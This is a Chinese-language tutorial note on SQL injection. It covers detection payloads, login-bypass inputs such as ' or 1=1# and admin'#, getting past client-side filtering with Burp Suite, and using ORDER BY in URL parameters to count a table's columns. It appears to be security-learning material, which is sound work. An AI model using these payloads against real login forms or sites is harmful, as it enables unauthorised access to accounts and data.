一、SQL語句
增刪改查
二、SQL注入的危害
1、提供對數據庫敏感數據的訪問
2、可以讀取www文件夾外的本地文件
3、可以用admin登錄並進一步對系統進行漏洞發掘
4、可以用來上傳文件
三、發現SQL注入
1、使用‘and’,'order by'或“ ' ”在文本框和url注入
其中url形式爲:http://baidu.com/page.php?something=something
舉例:
某網站的用戶賬號abc 密碼123456
(1)在登錄頁面輸入賬號密碼,其中密碼輸入123456' and 1=1#
執行的命令是:
select * from accounts where username = 'abc' and password = '123456' and 1=1#'
如果能登錄成功,說明該文本框是可以注入sql語句的。
(2)或:
密碼輸入123456' and 1=2#
執行的命令是:
select * from accounts where username = 'abc' and password = '123456' and 1=2#'
如果報錯,說明該文本框是可以注入sql語句的。因爲是正確的賬號和正確的密碼,這裏有個問題,如果是不允許注入sql的話,按理也是登錄失敗的纔對呀。
四、繞過登錄限制
1、登錄頁面,知道賬號,不知道密碼情況下,
密碼輸入1111' or 1=1#
執行的命令是:
select * from accounts where username = 'abc' and password = '1111' or 1=1#'
2、登錄頁面,知道賬號,不知道密碼情況下,
賬號輸入admin'#
執行的命令是:
select * from accounts where username = 'admin'# and password = '1111'
五、繞過更高級的登錄限制
1、安全等級提高後,依然用前面的方法注入sql,會提示非法輸入。
此時判斷是在客戶端被過濾還是在服務器被過濾的。
如果是客戶端過濾的話,可以用Burpsuite繞過。
2、如何判斷是在客戶端被過濾還是在服務器被過濾?
打開burpsuite後,在登錄頁面,輸入賬號和非法密碼,如果客戶端仍提示非法輸入,而Burpsuite未攔截到任何請求,說明是客戶端過濾。
3、用Burpsuite繞過客戶端過濾
(1)登錄頁面輸入合法賬號和密碼,用burpsuite攔截
(2)burpsuite攔截後在proxy修改請求,再forward(發送請求)
六、在URL中注入SQL
在URL中注入,是get方式;在文本框注入,是post方式
(1)
index.php?page=user-info.php?username=lanzexi&password=123456
在username=lanzexi後面注入' order by 1#,其中order by 1表示根據表的第一列排序。
index.php?page=user-info.php?username=lanzexi' order by 1%23&password=123456
Http編碼器中#對應爲%23,空格對應%20
(2)
注入'order by 10000#,報錯,通過order by 找出表的列數。
information_schema是默認的數據庫